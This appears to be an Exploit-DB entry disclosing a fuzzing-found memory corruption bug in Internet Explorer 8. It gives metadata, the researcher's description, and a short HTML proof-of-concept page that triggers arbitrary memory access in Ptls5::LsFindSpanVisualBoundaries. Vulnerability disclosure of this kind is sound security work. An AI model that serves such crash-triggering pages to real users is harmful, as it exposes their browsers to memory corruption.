Microsoft Internet Explorer 8 Memory Corruption Vulnerability

vendor:

Internet Explorer

by:

Skylined

7,5

CVSS

HIGH

Memory Corruption

119

CWE

Product Name: Internet Explorer

Affected Version From: 8

Affected Version To: 8

Patch Exists: NO

Related CWE: N/A

CPE: a:microsoft:internet_explorer:8

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2014

Microsoft Internet Explorer 8 Memory Corruption Vulnerability

A specially crafted web-page can cause an unknown type of memory corruption in Microsoft Internet Explorer 8. This vulnerability can cause the Ptls5::LsFindSpanVisualBoundaries method (or other methods called by it) to access arbitrary memory.

Mitigation:

An attacker would need to get a target user to open a specially crafted web-page. JavaScript is not necessarily required to trigger the issue.

Source

Exploit-DB raw data:

<!--
Source: http://blog.skylined.nl/20161121001.html

Synopsis

A specially crafted web-page can cause an unknown type of memory corruption in Microsoft Internet Explorer 8. This vulnerability can cause the Ptls5::LsFindSpanVisualBoundaries method (or other methods called by it) to access arbitrary memory.

Known affected software, attack vectors and mitigations

Microsoft Internet Explorer 8

An attacker would need to get a target user to open a specially crafted web-page. JavaScript is not necessarily required to trigger the issue.

Description

The memory corruption causes the Ptls5::LsFindSpanVisualBoundaries method to access data at seemingly random addresses. However, these addresses appear to always be in the same range as valid heap addresses, even if they are often not DWORD aligned. The reason for the memory corruption is not immediately obvious.

Repro.html
-->

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
  <body>
    <button>
      <pre>
        <x>
          <sub>
            <ruby>
              <img height="1"/>
            </ruby>
          </sub>
        </x>
      </pre>
    </button>
  </body>
</html>

<!--
Time-line

July 2014: This vulnerability was found through fuzzing.
November 2016: Details of this issue are released.
-->